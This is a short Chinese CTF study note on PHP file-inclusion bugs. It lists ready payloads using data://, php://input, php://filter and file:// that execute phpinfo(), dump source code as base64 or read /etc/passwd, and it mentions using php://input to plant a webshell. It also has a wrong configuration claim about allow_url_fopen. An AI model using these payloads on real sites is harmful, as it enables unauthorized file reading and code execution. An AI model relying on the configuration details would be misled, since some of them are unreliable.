文件包含漏洞可以用到各種偽協議
0x01文件包含函數
php當中會造成文件包含漏洞的函數有:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file
php、data偽協議讀文件和代碼執行的方式:
1.?file=data:text/plain,<?php phpinfo()?> #GET數據 2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= #后面的base64字符是需要傳入的字符串的base64編碼 3.?file=php://input [POST DATA:]<?php phpinfo()?> #POST數據 4.?file=php://filter/read=convert.base64-encode/resource=xxx.php #get讀源碼
0x02 php偽協議
需要開啟allow_url_fopen的:php://input、php://stdin、php://memory和php://temp
不需要開啟allow_wrl_fopen的:php://filter
在CTF中經常使用的是php://filter和php://input
php://filter用於讀取源碼,php://input用於執行php代碼
php://input需要post請求提交數據
php://filter可以get提交?a=php://filter/read=convert.base64-encode/resource=xxx.php
0x03 data偽協議
ctf常用:
?xxx=data://text/plain;base64,想要file_get_contents()函數返回的值的base64編碼
?file=data:text/plain,<?php phpinfo()?>
0x04 file協議
File:// 訪問本地文件系統
file:// 用於訪問本地文件系統,如c:盤中的東西。在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響。
file:// [文件的絕對路徑和文件名]
linux 系統環境下:?file=file:///etc/passwd
winows 系統環境下:?file=file:///E:\phpStudy\WWW\code\phpinfo.php
偽協議總結
File協議用於讀取系統文件,c盤關鍵內容。Php://filter 用來讀取文件內容,但是要base64后出來,否則會造成文件執行從而只看到執行結果。Php://input(代碼執行)可將post請求中的數據作為PHP代碼執行。可以用於寫木馬。Data和input相似,可以代碼執行,但只有在php<5.3且include=on時可以寫木馬。
參考連接:https://blog.csdn.net/weixin_43272781/article/details/94645507
https://www.cnblogs.com/Oran9e/p/7795057.html